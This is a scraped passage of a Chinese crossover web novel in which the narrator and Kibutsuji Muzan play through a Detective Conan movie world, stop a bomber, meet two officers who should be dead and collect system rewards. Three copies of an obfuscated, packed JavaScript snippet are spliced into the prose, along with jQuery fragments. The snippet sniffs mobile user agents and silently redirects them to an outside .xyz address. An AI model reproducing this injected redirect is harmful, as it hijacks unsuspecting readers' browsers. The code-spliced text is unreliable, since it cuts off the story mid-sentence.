RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679138|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的烟雾,开膛手杰克使用的烟雾弹会让所有乘客消失。他似乎应该在稍微靠后些的车厢?如果真的要用手枪进行奇袭的话,从背后开枪应该才更保险些。 话说回来到底谁会在偷袭的时候大声喊出攻击预告啊! “无惨,”习惯火车行进速度后我喊了他一声,“我去后面一点的车厢等着,如果可以的话直接用枪打伤或击毙开膛手杰克,应该是效率最高的。” 至于他自己想怎么行动,就让他自己决定吧。 他没有赞同也没有反对,只提出一个问题:“你想用那把手枪攻击那个杀手吗?你有没有想过,自己是否能有杀死一个活人的觉悟?” 我没想过会被他问到这点,也没想过如何回答这个问题。 “只是游戏角色,不是活人,开枪打死一个NPC并不算难事。” “但愿你真的能像自己想的那样做到。”他说完便继续向前走了,火车驶到了山崖边,估摸着电影剧情里的决战也差不多要到了。 往后走的时候,身后传来响声,灰白色的烟雾随着火车行进一路飘散,站在车顶上才能感觉到,车速被加快了。 我想起来了,让所有的乘客和列车员消失,无人驾驶的火车不断加速,即便击败了开膛手杰克,若处理不好火车,所有人都仍会被淘汰,简直是劲爆尾杀。 然后在那之前有什么关键的节点,是可以让我做点什么的来着? 我挑了段末尾的车厢趴下来,希望所有人都不会注意到我。 看不清开膛手杰克是怎么出现的,就像游戏的人机模式中当面凭空刷新一样,他就那样带着毛利兰站在了车顶上,无惨也不知道又去了哪里,两个小小的影子从车头跑过来。 别浪费时间发呆了,快想想到底有什么契机可以行动吧。 开膛手的刀刃无比锋利,游戏规则是只要受伤就会出局,这对平时只要作不死就往死里作的柯南来说是一种约束。他的衬衫袖子被刀尖划破,万幸没有伤到皮肤。 两个孩子怎么能和一个训练有素的成年男性杀手对抗?只是在僵持不下的时候,火车进入了隧道。 对啊,这有个隧道来着,原作里开膛手杰克就是借柯南卧倒来不及起身的时间将他压制住的。 我向前匍匐前进,在大概觉得手枪射程能覆盖到对方后弓起上身。 既然如此我也能…… 隧道一过,我抽出腰间的手枪站起身瞄准那位连环杀人犯,一些轻微的动静被察觉,他在攻向柯南前转身向我这里走来。 “以为这种武器能杀死我?而且如果我掉下去的话,那个小姐可也会一起下去哦。” 我端着枪指向他,他挥刀向我冲来。 我们之间的距离迅速缩短,而我扣在扳机上的手指却突然僵住般无法发力。 “白夜?喂,别发呆啊!”柯南或许是还没明白为何我会在这里,但他朝我喊着让我躲开攻击。 不,只要子弹能射中他,无论四肢还是头部躯干,只要打中他就能更顺利地达成结局。 他离得够近了,不需要特意瞄准也能击中,我不相信在有限的落脚空间里,这种距离下他还能闪身躲避子弹。 只要扣下扳机…… 毛利兰会被带下去吗?我不太清楚,但只要及时抓住绳子,就能有足够的时间帮她脱困。 我到底在犹豫什么…… 闪着寒光的刀刃已经举到我头顶,我的动作仍僵在原地。 那一刻连对这致敬历史中真人真事的杀手的恐惧都忘了,我的脑子里只有一个声音。 我果然还是做不到对人开枪。 7. 第 7 章 好吧,我真的做不到对人开枪。 即便我明白对方是犯下连环杀人案的凶手,甚至这里更是一个虚拟的游戏空间,但我要做出这件事的时候,我大脑中仿佛有某种保险栓一样,阻拦我继续做下去。 刀刃举在头顶即将落下,我想这样或许也不错,反正只是一瞬间的疼痛反应,随后就会淘汰,虽然我无意义地送了人头,但对这部电影的剧情来说我本就无足轻重,没关系的。 刀在触到我鼻尖之前,开膛手杰克突然像被什么人拉住他那长发一般,随后整个人向后飞去,摔在远一些的车厢顶上。 “虽然也早就预料到了,你根本做不到攻击他。”鬼舞辻无惨站在我面前,淡淡地瞥了我一眼,将目光放在开膛手杰克身上,“罢了,反正我也没有对你有过期待。” 尽管是被他在言语上攻击了,但我反而感到如释重负。 手臂终于放松下来,虽然也没有丢掉重要的热兵器手枪,但我大概还是不会使用吧。说到底,“诸星秀树”能对莫兰上校开枪也是因为他的内在是弘树的意识,更何况什么都不懂的顽童才会毫无自觉地做出可能杀死他人的行为。 我是软弱又无趣的成年人啊。 无惨向倒地的开膛手杰克走去两步,打量着他的模样挑眉道:“你说,你想活下去啊,乘着诺亚方舟前往未来的时代。” “什么东西……是啊,那又怎么样,我要让我体内凶恶的血脉搭载上诺亚方舟,一直流传到下个世代!”他到底是莫里亚蒂培养出的杀手,迅速调整姿势起身,对着无惨挥刀。 无惨只随便挥手,打在对方持刀的手上,刀刃便应声而落,开膛手杰克也捂着手臂后退。 所以,这是直接打断了?这游戏的物理引擎和伤害计算哪怕是在BOSS身上也能这么真实? “人类有时候最引人发笑的地方在于,他们并不信仰所谓神明,但到某些时刻,他们会摇身一变成为虔诚的信徒。从你的口中听见‘诺亚方舟’的字眼,确实很稀奇。”他向前逼近对方,“真无聊啊,杀手,你对活下去的执念也并没有强到能感动我的地步,至少比起我见过的那些人来说,你没什么价值。” 我在后面听得一愣一愣。 不是,无惨有谜语人属性吗? 听他的意思,他该不会真的有想过把开膛手杰克变成鬼这种事吧,可这里是游戏啊,现实中的杀人犯早就死了,虚拟数据构成的角色是起不到任何作用的。 但是我决定别多话安静听。 他抬起腿踢在开膛手杰克的胸膛上,我隐约听见骨骼断裂的声音,身形高大的连环杀人犯倒了下去,看上去已经气若游丝。 柯南对突然出现的无惨还是有些困惑,但这小子连道谢都没来得及,喊着毛利兰的名字就跑去帮她解开束缚。 我看着鬼舞辻无惨转过身向我走来,他看上去没什么特别的情绪变化,可能有一些无聊,不知是否是这部电影的情节和凶手真貌并没有达到他满意的程度。 仿佛刚才对开膛手杰克的攻击只是随手完成的一般,他走到我面前,没有说话,只是看着我,等我回答他是决定让自己淘汰还是留到最后。 “让我选的话我希望能被你掐死,”我直接开口提出诉求,“很久以前就有幻想过的画面,既然答应过我了,就顺便也让我实现一下心愿吧。” 他冷笑一声道:“你连自以为能做好的事都没有做到,我凭什么给予你奖赏?” 我有些尴尬地看向一旁,想反驳点什么,但又觉得他说得也没错。 对不起啊我真是个没用的队友。 我叹口气抬起仍拿着左轮手枪的手,调转手枪方向塞到他手中。 我说:“那就用这个吧,我确实也做不到自己跳下去等死,麻烦你了。” 他将手枪拿在手中掂了掂,举枪顶上我的眉心。 “但话说回来,这种方式也还是在满足你的私心吧,真是不要脸。”他说着将手指放在扳机上,这次似乎没有再拒绝我的意思,“就当作是你的情报有用吧,不算完全的累赘。” 我用小心思得逞的眼神看着他笑了笑,闭上眼睛等待枪支发动。 没有任何疼痛感,或许还是因为游戏是给孩子设计的,不会过于真实地还原出现实中受伤死亡的感受。耳边只响起剧烈的爆鸣音,那之后我的意识向下坠去,直到整个人渐渐睡去了。 我是被鬼舞辻无惨叫醒的。 儿童形态的他正手扶茧游戏舱的边缘看着我。我坐直身子在旁边工作人员的帮助下跨出游戏舱,或许是成年人的大脑不比儿童,虽然我也不知道哪里比不上,但总觉得身上特别疲惫。 看着旁边少年侦探团兴奋地围着柯南讨论之后情节的样子,我心说大概我是老了。 “在那几个小鬼缠上来之前走吧。”无惨果然是忍那些孩子们忍得有点烦了,拉着我就往外走。 我也隐约瞥见赶下来调查机器的目暮警官一行人和柯南都有注意到我们这边,有些想过来的样子,猜测前者估计真的看见我和无惨的视角没有与大部队一起行动了,也快步向会场出口走去。 脚步踩到门口的一瞬间,剧烈的轰鸣响起,整个会场轻轻震动着,原本抱着喜极而泣的家长和兴致勃勃分享自己冒险故事的孩子们又一次惊慌起来。 我蹲下稳住些重心,待轰鸣声落下后环顾了一下会场,没什么变化,那么声音来源是外面? 不对,等一下,我怎么记得《贝克街的亡灵》没这出呢?这电影到这里就该结束了吧。 “你说的爆炸?”无惨冷笑一声。 “我发誓这绝对不是原来该有的剧情。” 在我还准备努力回忆回忆柯南M6前后的主线事件之前,会场音响传来一个男声: “诶,各位先生们、女士们,大家晚上好,抱歉在这个时候打扰你们,不过呢,我在这间会场安装了炸弹,足够让整个日本的未来埋没在此,请各位警官努力保护这些大人物和他们的孩子们吧。哦对了,刚才的爆炸是一个小小的预热,会场内的炸弹爆炸规模会比刚才更厉害,遥控装置在我的手上,如果有任何人想提前离开我都会直接引爆炸弹,请各位多多为身边的人考虑一下。” 柯南在音响中的话音落下前就迈开腿冲了出去,工藤优作也紧皱着眉头示意目暮警官前往隔壁的发布会会场,后者安排其他几位警事安抚在场人员情绪,随后带着工藤优作前往了另一边。 “到底是哪里来的炸弹狂啊我靠,我说我们直接走吧反正他们这帮超人也能解决好的。”我抱头蹲下揉着头发,绝望地问无惨。 他挑眉反问我:“在不离开会场的情况下你觉得我们该如何离开呢?那个系统可没有给出脱离的方法。” 他说得对…… 事已至此要不躺下睡会吧,反正柯南他们一定能解决好炸弹问题的。 “大家不要慌张,爆破物处理班已经在赶来的路上,会尽快拆除炸弹,现在请跟随我们前往远离发布厅的房间等候。”高木和千叶尽力安抚着这些权贵和他们的孩子,但在场的哪个都不是好惹的人,也不乏性格难缠的家伙,场内简直乱作一团。 好吵啊,要不还是跟着柯南他们去会场看炸弹吧,反正跟着他们肯定都死不了。 我站起身拉着鬼舞辻无惨出了会厅,看着他变回成年人的样貌,指了指虚掩着门的发布厅。 “听那个语气,感觉犯人本尊就在里面,有种破罐子破摔拉着所有人同归于尽的美。” “连火车顶都不敢上,也做不到开枪攻击游戏内的虚拟角色,你就这点胆量,还打算去看炸弹吗?能不能少给我添麻烦?”他看上去有些烦躁,尽管他应该也有点在意自己之前刚评价过普通推理的作品现在就整了个大炸弹的活出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679139|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我胆子不小啊……游戏里那是,意外。”我心虚得声音小下去,又重新提回正常的音量告诉他,“开枪那次确实是我的问题,我也想过了,在这个系统的游戏里以后战斗攻击别人估计是不可避免的,所以我会努力克服自己的心理障碍,所以我真的胆子没那么小。” “你不用重复两遍。” “稍微去看一眼那边吧,我真的很在意,这是原先电影没有的情节,不知道会不会有什么节外生枝。”我给他解释了躲避吵闹家长小孩之外的另一个原因。 “两位若是有什么事想要探讨的话,可以先跟随警官前往远离现场的房间,这样比较安全……” 对话被一旁的人声打断,我和无惨一同顺着声音来源看过去,两名身着防爆服装,准备戴上头部面罩的男性走过来,而其中留着半长类似狼尾发型的一人正对我们说着。 不知为何,那人看见我时愣了愣,但没有多说什么。 而他旁边的那个人,我在看见他侧脸时也呆住了。 我愣愣地自言自语:“松……在这里?而且还是活着的?” “哈?我怎么了吗?小姐,不要这样诅咒我们爆裂物处理……等等,是你?”那人本来只是看着会厅的方向,他似乎耳朵很灵,捕捉到我的话后抬起眼前的墨镜就要说什么,但看过来的时候也露出了疑惑的神情。 这下是更加看清他的脸了。 我完全确定,这个人,是松田阵平。 这么说来旁边主动跟我们搭话的人……好,萩原研二。 不是他俩为什么活着呀! 这话听起来有些怪,但是按理说他们是这部作品最意难平的几人之一,为什么现在是活着来这里处理炸弹的啊! “怎么了松,你说她吗?嗯……确实是很像呢,难道真的是同一个人?可是这么多年样子没有变化的情况,真奇特啊。” 我的大脑完全宕机。 诶,我? “这是不记得了还是什么啊,搞不懂,算了,你们赶紧去别的地方避险,这间会场很危险,不要进来,知道了吗?” 我麻木地点点头,看着他们戴好头盔走进去,又麻木地看向从刚才开始就一言不发的鬼舞辻无惨。 他伸出手掌示意爆处两人进入的会厅:“看上去你们关系不错。” “你听我解释,我真的没有出轨!我最喜欢的一直只有你,虽然《名侦探柯南》的一些人我有好感但是远远没有到狂热的程度,只是觉得警校五人组的故事很意难平所以多喜欢了一点,但请你相信我是全心全意喜欢你的。”我举起双手发誓。 “……你在说什么,好恶心。” 我们同时沉默了,最终我放下手低头掩面说:“抱歉,我也不知道他们为什么认识我,而且这两人是原作里早就死掉的角色,但我现在能确定新的炸弹事件应该就与他们活到现在有关。” 看来是世界线有变动,目前能肯定的现状就是这个,至于发生了什么样的变化,为什么会这样,从爆处两人的话来看可能和我有关,但我完全没这个印象。 有就怪了!在一段时间之前连无惨都是纸片人呢,我的人生只是普通地读了书上了大学,怎么会和二次元角色认识啊! 而且萩原似乎有提到我的样子没变化,也就是说他们见过的也是现在的我,那我就更不可能和他们相遇过了。 “这么说,不解决这个事件,这部作品的任务就不算结束了?”无惨还是很善于捕捉关键信息的,尤其是从我支离破碎的发言中。 我绝望地点头。 “啧,真麻烦。”他叹口气抬脚走向会厅。 我跟在他身后,在开门进去之前试探着问了他一句: “所以你可以相信我是真的最喜欢你吗?虽然他们好像认识我但我的心里真的只有你一个的。” “烦死了,闭上你的嘴。” 8. 第 8 章 本来以为会场内的人都在专心破解炸弹,我和鬼舞辻无惨轻点推门进去没人会注意,结果一进去就对上所有人的目光。 真是有些后悔了,现在跑还来得及吗? 当然我也理解他们都看过来是为什么,因为会厅舞台上就站着一个身上绑了炸药的男人,看上去有些邋遢,脸上是近乎癫狂的神色。 好像有点眼熟,但他还是长得太路人了,实在想不起来是谁。只是他也同样看了过来,再看见我之后,整个人的情绪又上了一层楼。 “你,就是你!哈,你们这帮警察,为了自保,还真是能做到把人叫过来了,哈哈哈哈,真是一群胆小鬼!”他指着我,又指指那一众警察。 我也指向自己。 我又怎么了? 偷偷瞄了一眼目暮警官,他也完全是一头雾水的表情;看向萩原研二的时候他向我这眨了眨眼,目光落回台上那人时又变得警惕起来。 不是哥们你眨眼啥意思啊看你眼神行动吗,我抓犯人? “既然这两位警官都到了,那么就开始拆弹吧,不过光是这样也确实没有意思,既然你们真的把人叫来了,那我的计划就可以顺利进行下去。”台上那位炸弹狂的精神几乎到了一个极点,“让这女人过来,然后,给我准备一辆车,我可没打算陪你们一起在这里炸死。” 所以我到底咋了嘛! 我想着要不过去看看说不定他一个话多就给我讲故事了,向前迈了一步,但同时手腕被抓住,无惨将我往回扯了扯。 “他让你过去你就去,蠢吗?” “我觉得我过去听听就知道发生啥了,我现在都不知道哪里惹了他。”我看了一眼周围的人,压低声音凑到他耳边告诉他我真的想不起来任何关于那犯人的信息,太龙套了。 “先生,如果你是对我们有意见,大可不用牵扯无关人员。”松田阵平有些看不下去了,向前两步挡在前往舞台的路中,“还是说你对自己的炸弹那么没信心,觉得我们拆除的时间不够自己逃跑呢?” “别扯那些没用的,她算什么无关人员!三年前就是因为她,我的计划才会失败!” 三年前,三年前啥事啊。 我努力想想,时间点在三年前,还跟松田萩原有关,怎么想都是…… 总不能真的是那个案件的犯人吧?他理应在柯南的主线之后再次犯下炸弹案件,在那之后才被逮捕,怎么现在他说他的计划失败了? 松田和萩原是活着没错,而这犯人又看起来那么邋遢,不得不怀疑是越狱出来的。也就是说他可能在三年前就被逮捕了,而七年前让萩原殉职的那个炸弹多半也没有发挥作用,而这一系列事件关键的人物——是我。 我是真的就该烂死在自己家里。 “别废话了,快让她上来,不然我现在就引爆所有炸弹!”他高举手中的遥控器晃了晃,身上那一捆炸弹看上去也不容小觑,连工藤优作都皱眉思索着,我想大概现在除了顺着他的要求做些什么,也没有更好的方法了。 “我知道了,我可以来做人质,虽然我真的不太记得三年前的事情,可以的话能提醒我一下吗?”我的嘴快于脑子先说出话来。 他显然是被激怒了,攥紧遥控器怒目圆瞪:“好啊,我的计划全被你毁了,还在监狱呆了三年,你居然全部忘记了,真有够悠闲的啊。你是不是觉得没什么好害怕的,以为那两个警察能保护你?哦我知道了,你看上去也不是很想和他们沾上关系,你们闹掰了是吧,你身边是你的新欢?不过这病怏怏的小白脸能帮到你什么呢?” 在想好回答他什么之前我的手下意识地从鬼舞辻无惨手中抽出,反过来抓住了他的手腕。 原来我的反应还能这么快,脑中闪过这个想法,虽然知道他只要一下就能甩开我的手,但我还是尽可能地用力握紧让他能领会我的意思。 神经病啊! 你要不要听听你都讲了什么啊真敢说啊虽然你确实不知道无惨是谁但是你这么喜欢胡乱攻击你也不怕哪天攻击到你们这个世界的黑衣组织给你一枪崩了我天哪真的是疯掉了吧。 “不管用什么办法,靠近他。”他稍微低了点头,两侧微卷的头发挡住了些他的眼睛。 好的一点是至少他没有甩开我冲上去把人杀了,虽然这么做也算是解决问题了,但后续跟柯南一行人解释也太麻烦了。再怎么不想承认,《名侦探柯南》还是比较法治社会的,而且我也想问问我三年前到底干啥了让世界线变动这么大,还是不要那么轻易就让犯人死掉吧。 我小声告诉无惨我试试。 “舞台太高了,我上不去,你就不能下来吗?”我努力做出诚恳的模样,试图让对方放松戒备。 他又一次举起手中的遥控器:“别想骗我下来,这些警察都等在这里,下来了我还怎么掌握优势?旁边就是楼梯,自己走上来。” 我看看舞台侧边的楼梯,低头思索一下抓着无惨的手抬起来,另一手指指这边问那犯人:“可以带他一起吗?我有点害怕……” “别耍花招了,那小白脸跟我有什么关系,我一开始就只让这些警察把你叫过来。”他示意我一个人走上前,我无奈地松开无惨的手。 “我尽量把他往舞台边上带,你……尽量不要让他真死了。”我小声对无惨说着,鬼使神差地加上了后半句,也不知道他有没有听进去。 唉算了,他如果真的被打死了那也是没办法的,谁让他胡乱人身攻击正好攻击到了最不该提的那个人呢? 更何况他本来就是个有前科的炸弹犯,原作更是背了几条人命在身上,杀他也算是功德一件。 我举起双手慢慢走上舞台,来到那人身边。 “你这三年一定过得很滋润吧,看上去一点都没变化,而我的计划、我的一切全被你们毁掉了。现在,嘿嘿,现在你们马上都得为自己的愚蠢付出代价,可恶的警察,还有警视厅的走狗,你们都得死。” 我听着他发表获胜感言,向舞台边上挪了一点点。 “抱歉,其实之前我遇到了很严重的事故,以前的事情什么都不记得了,所以真的不知道我三年前……似乎伤害了你,很抱歉。”我开始跑起火车。 他自然是不信这么扯淡的说法的:“开什么玩笑,你以为我会相信吗?失忆这种戏码,骗谁呢你!” “那你问他们,虽然他们说认识我,但我不认识他们,我是真的不记得以前的事情了。”我指向台下的松田和萩原,两人都配合地点头。 我又向舞台边挪了一点。 察觉到我脚步的犯人哥向我逼近几步,截停了我继续向舞台边沿挪动的想法。 “别想偷偷逃走,我身上这件炸弹衣就是给你准备的,待会你就给我穿上这个,我要让你死无全尸。” 到底为什么这么恨我啊…… “我说真的,就不能至少让我死个明白,三年前我到底做什么了?”我看看他身上那件炸弹衣,仗着现在还不在我身上,继续说下去,“如果没猜错的话,你在摩天轮上装了炸弹,想炸死那位警官,但是失败了,因为我。但是很抱歉,我确实不认识你,三年前我只是在普通地上学读书,从未去过任何摩天轮。” 我瞥见台下距离舞台不远的鬼舞辻无惨。 犯人被我一连串的逼问弄得更愤怒了,几乎要直接向我这里扑来。 我应该,可以相信无惨的吧。 我咬咬牙弯腰降低重心,向靠近舞台边缘的地方躲去。 余光瞥见鬼舞辻无惨一步跃上舞台,在犯人反应过来之前抓住他的衣领甩出一道优美的弧线,重重砸在舞台下的地上。 我是顺势从边缘跳下去的,犯人和我是同时落地的。 目暮警官等人倒也及时反应了过来,纷纷上前制住他,夺下了他手中的遥控装置。 “我好像有听见鼻梁骨碎掉的声音,你真的没下杀手吗?”我抬头看台上的无惨。 他自上而下俯视着台下的混乱,说:“若不是被那系统限制了力量,他早就死了。” 啊哈哈…… 他看见我脸上【= w =】的表情,啧舌一声,从上面迈步下来。“蠢死了,你到底能做好什么?”他见会厅内的拆弹工作也终于开始正常进行,抬腿就向门外走,“就该放你自生自灭,还能少个累赘。” “至少可以当一次性的棋子,或是应急食品,如果你真的有这个打算的话。”我看着场内人员注意力都没有放在我们身上,便碎步跟上他准备找个出口先溜了,出了会场我偷偷带上门,让音量也隔绝掉,“说真的,我真的没有一次是让你觉得表现合格的吗?至少提供的剧情还是……呃,至少之前的还是靠谱的。” 他停下脚步转回身来,正想开口说些什么,视线却越过我死死盯住我身后的某个地方。我跟着他一起回头看去,会场门口被人打开一道缝,有什么个子小小的人钻了出来,躲在某个地方偷听。 我突然兴致大起,对无惨笑了笑,指指走廊墙壁突起的一处,向那边走过去。 “呀,柯南,不去安全的房间,在这里待着,是跟兰他们走散了吗?”我没给墙后那人任何躲避的机会,大步过去拦住了那小子的去路。 男孩脸上扯出一个尴尬的笑,夹着嗓子说:“白夜姐姐,哈哈……我找不到叔叔和兰姐姐他们了,可以麻烦白夜姐姐带我去避险的房间吗?” “不行哦,因为姐姐还有别的事情要做,要先走一步呢。”我看见无惨用狐疑的眼神看着我,我将手背在身后给他比了个手势,心中算盘珠子逐渐打出来。 就知道柯南这小子会来偷听,说不定他还怀疑了一下无惨的身份呢,毕竟先前的“俊国”不知所踪,这里又有个样貌有几分相近的成年男性。 真正接触到他们我也才意识到,看着这部作品长大的我早就比其中角色要年长了,一想到工藤新一就是高中生,就不由自主想给他展示点成年人的险恶。 这现在不吓唬一下,哪天真的把自己作死了怎么办呢,我也是为他好吧。 “白夜姐姐是要跟那个大哥哥一起走吗?刚才的会场里没有见过他呢……俊国君呢?他也和姐姐走散了吗?我想跟他交换一下电话和邮箱,以后也可以,找他,玩……”小孩子问题问出来总是没完,我脸上的笑容也越发灿烂,紧盯着柯南,他在我的凝视下声音逐渐小下去。 我扶着他的肩膀让他转了个方向,面朝会场:“柯南应该还是更喜欢和那里面的大人一起破解案件,拆除炸弹对吗?不该关心的事情就不要关心了哦,今天的游戏我玩得很开心呢,你是我们大家的福尔摩斯,要谢谢你呢。” 我蹲下来在他耳边轻轻地说上最后一句。 “以后有缘再见吧,工藤新一。” 感受到手中传来男孩震惊的颤抖,我在他肩上轻拍两下,起身走回无惨身边,摆出一个自认为比较神秘又阴险的笑脸,对柯南招了招手。 “可以走了。”我告诉无惨,也不再回头去看柯南的表情。 “玩够了?” “你不也看得挺开心的吗?” 哎呀,吓唬小孩真好玩。 “呵,他迟早被自己的好奇心害死。” 鬼舞辻无惨走在前面,但原本市政厅一路能走到避险房间的走廊却突然变得无限延长起来,怎样也走不到尽头。 他在走廊上的一扇门前停下了,那扇门中闪着异样的光。 我也停在他身边,面向那扇门站着,我们沉默了许久,最后我抬手做出开门的示意。 他点头同意。似乎在某一时刻,我们都异常默契地有一种直觉,这扇门背后是我们完成任务、可以领取奖励的地方。 刺眼的光线随着门扉的打开洒满整个走廊,又缓缓暗下来,我和他又站在那个空间里,面前的上空是那座屏幕。 【恭喜玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679140|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家完成《贝克街的亡灵》系列任务,获得积分奖励100分】 【完成额外支线任务,获得积分奖励30分】 支线任务想必就是那个炸弹狂越狱并以炸弹挟持米花市政厅的事情了,但这系统也并没有解答那个世界的世界线会有这么大的变动。警校组四人的殉职是这个ip的一大泪点,但显然其中有两位正好好地活着,实在是叫人感到匪夷所思。 其实意思就是说听他们的话应该是我改变了他们的死亡结局,如果是这样的话能不能先把积分给我呢…… 【商城功能已解锁,完成后续任务解锁更多商城商品】 “看看商城。”我本来也就是奔着这个来的,如果商城里能提供一些有用的武器或者道具,那后续的任务也会更轻松。 毕竟不是每个世界都能像《名侦探柯南》这样,什么都不做等着主角团破案就行。 屏幕上展示出商城的页面,目前似乎只有各种快穿文里常见的时尚小垃圾道具,真的有用的似乎就只有一个。 鬼舞辻无惨看着商品栏念出了上面的字:“日光抵抗剂……你在跟我开玩笑吗?” 他追求的对阳光的抵抗,在这里被当作商品摆出来售卖。 我看了一眼这个道具所需要的积分,是有些昂贵的50积分,不过具体效果的话……我偷偷看了一眼详细介绍,似乎是能在下一个世界中维持整个任务时间,但脱离世界的主线任务就会自动失效,总体来说其实是个挺赚的道具。 “先换一个吧,我们的积分是够的,其他道具也排不上多大的用处。”我看了眼无惨,又看看上面的屏幕,“商城是可以随时打开购买商品的吗?” 系统给出了肯定的回答。 “那我们现在的积分可以换两次,如果你想都用来换这个的话。”我指着商品栏对他说。 但他却皱着眉拒绝了这个提议:“开什么玩笑,擅自命令我去各个地方完成那没意义的任务,换取抵抗阳光的药剂。是觉得可以拿我寻开心,还是认为自己能怜悯我了?” 哎,怎么又生气了。 不过也不是不能理解吧,毕竟就这瓶小药剂居然能帮他长时间抵抗阳光,但又有种莫名的给别人打工的社畜感,对他来说不是什么好滋味。 但我个人来说也很需要这个药剂。即便无惨的力量被系统限制了,他也还是有超出普通人的战斗力,仍然是一个优秀的大腿。 我真的想好好做个腿部挂件,那这样的话我就得让无惨少一些需要忌惮的事物。 于是我擅自换了一瓶,但没有使用,只是放进了储物栏。 看着他质疑的眼神,我摊手道:“以备不时之需吧,下一个世界是什么还不确定,如果很危险的话,我可得指着你活了呢。” “那我会先把累赘丢了,你最好再有用一点。”系统的通知内容到这里结束,身后已经出现了可以离开的光门,无惨丢下这句就转身向那边走去。 我看着屏幕上的80积分,再翻了翻商城界面,惊喜地找到了一个有趣的东西。 在那件东西上点了兑换,收进储物栏,我也离开了空间。 光门外是我们居住的酒店大堂,周围人来人往,似乎没有任何人注意到凭空出现的我们。 时钟指向零点,一切都很平静。 我说,先回房间吧。 系统没有给出下一个任务或世界的信息,不知是否又会在什么时候突然袭来一些意外情节,我真的只想趁现在好好休息一个晚上。 站在酒店房间里,晚上发生的一切还有种微妙的不真实感,但还没等我发呆结束,房门又被敲响了。鬼舞辻无惨拿着一张新的机票站在门口。 “别发呆了,这东西就是那系统给的吧。”我从他手中拿过机票时他说,我才注意到自己房间的桌上也有一张相同的机票,只是名字不一样。 “有什么想法?下一个世界的提示,虽然应该也只能猜出大概的地点。” 其实地点也没什么头绪,因为这是一张返程回国的机票。 也就是说我还有时间回家休息休息收拾一下?这种快穿系统真有这么好心? 口袋里的手机响起提示音,不知道是谁发来的短信: “探秘神秘村庄,了解彼岸花的秘密,从未见过的特殊花朵,更多信息请点击链接。” 短信附上了一个神秘链接。 这题我会,发来不明链接的都是电信诈骗不要理。 但是鬼舞辻无惨盯紧了我手机上的短信,直觉告诉我删掉它一定会被打的。 我还是认命地点开了链接,是一个普通的论坛网站,其中都是些神鬼志异的故事会。 版头则是一条《探秘彼岸花》,其中用不乏夸张色彩的语言描述了彼岸花在古书记载中可能产生的颜色异变,以及有发现过异色彼岸花的地点。楼主给出了一个地图定位,声称在那里见过异色的彼岸花。 “总不能跑一大圈青色彼岸花还是在中国,我个人觉得有点假。”我试着回想有什么看过的作品跟这个话题有关,但记忆又像是蒙上雾一般,捞不出任何有用的线索。 无惨用不容置疑的语气说:“去看看,我倒想知道一个人类怎么能运气这么好,见到那样的彼岸花。” 没事的哥们我懂的,你就是心动了。 好吧,虽然这个定位看上去在深山野岭,但至少有无惨在身边,应该不会出大岔子。 “那休息休息吧,之后赶飞机回国。” “休息?你还没看机票时间吗?” 什…… 我翻过机票看了一眼,就安排在两个多小时之后的凌晨时分。 一些脏话来到嘴边,本着在喜欢的人面前维持最后一点点形象的原则,我没有说出来。 最后我只是扯出一个苍白的微笑。 “我马上收拾行李,问题不大,可以赶上的你相信我。” 9. 第 9 章 不管怎么说,回到家还是舒服的。 想到之后可能会去不同的世界完成系统任务,我到家稍作休息后就把家里打扫了一遍,冰箱里的一些食材也大致处理了一下,这样之后就算长时间不回来也不会有太大问题。 然后我开始思考下一段任务究竟是什么地点。 彼岸花这东西吧出现在ACG作品中本就是会跟神鬼志异有牵扯的,而地点在国内的话,不得不叫人联想到一些恐怖类型的游戏或影视作品。 其实我怀疑自己的认知也被系统修改过,不直接接触到作品正体的内容就想不起来相关信息。 这不就没法提前预习准备了嘛。 尽管恐怖游戏或恐怖电影这东西吧提前知道了也准备不出来什么,众所周知看起来很厉害的道具在恐怖类作品中都是派不上用场的,还容易把自己作死。 而且我还是相信这个中式恐怖,主打的就是一个因果相报,如果我跟作品中的鬼无冤无仇,那那些东西大概率不会害到我头上,我只需要保持应有的敬畏就行。 想到这里我突然顿悟了,在动身前往论坛中那个地点之前买了一捆香和一包纸钱。当鬼舞辻无惨问我是否脑子有病的时候我告诉他,有钱能使鬼推磨。 忘记在哪里看过的旁门左道了,现实中用纸折的东西烧了之后是真的可以让鬼魂拿到的,虽然也不知道是否会用上这个方法,但我还是折腾出了纸手机这种奇怪的东西。 无惨说我脑子是真的有病。 总之我觉得是万事俱备了,看着那地点想着火车过去也不方便,租了辆车干脆自己开过去。 路上是没出什么意外,无惨没有用那个阳光抵抗的buff,我租的车正好后座还有小窗帘,便直接开上路了。那地点在山里,进山之前倒也是正儿八经的公路,后来变成了混凝土路,之后又逐渐走上土路,最后路窄得实在是有点开不下去了。 目的地似乎是个小村子,我把车停在路边,盘算着是在村外找地方住一夜,还是直接进村。 今天是阴天,虽然时间是下午,但没有任何阳光穿过云层。 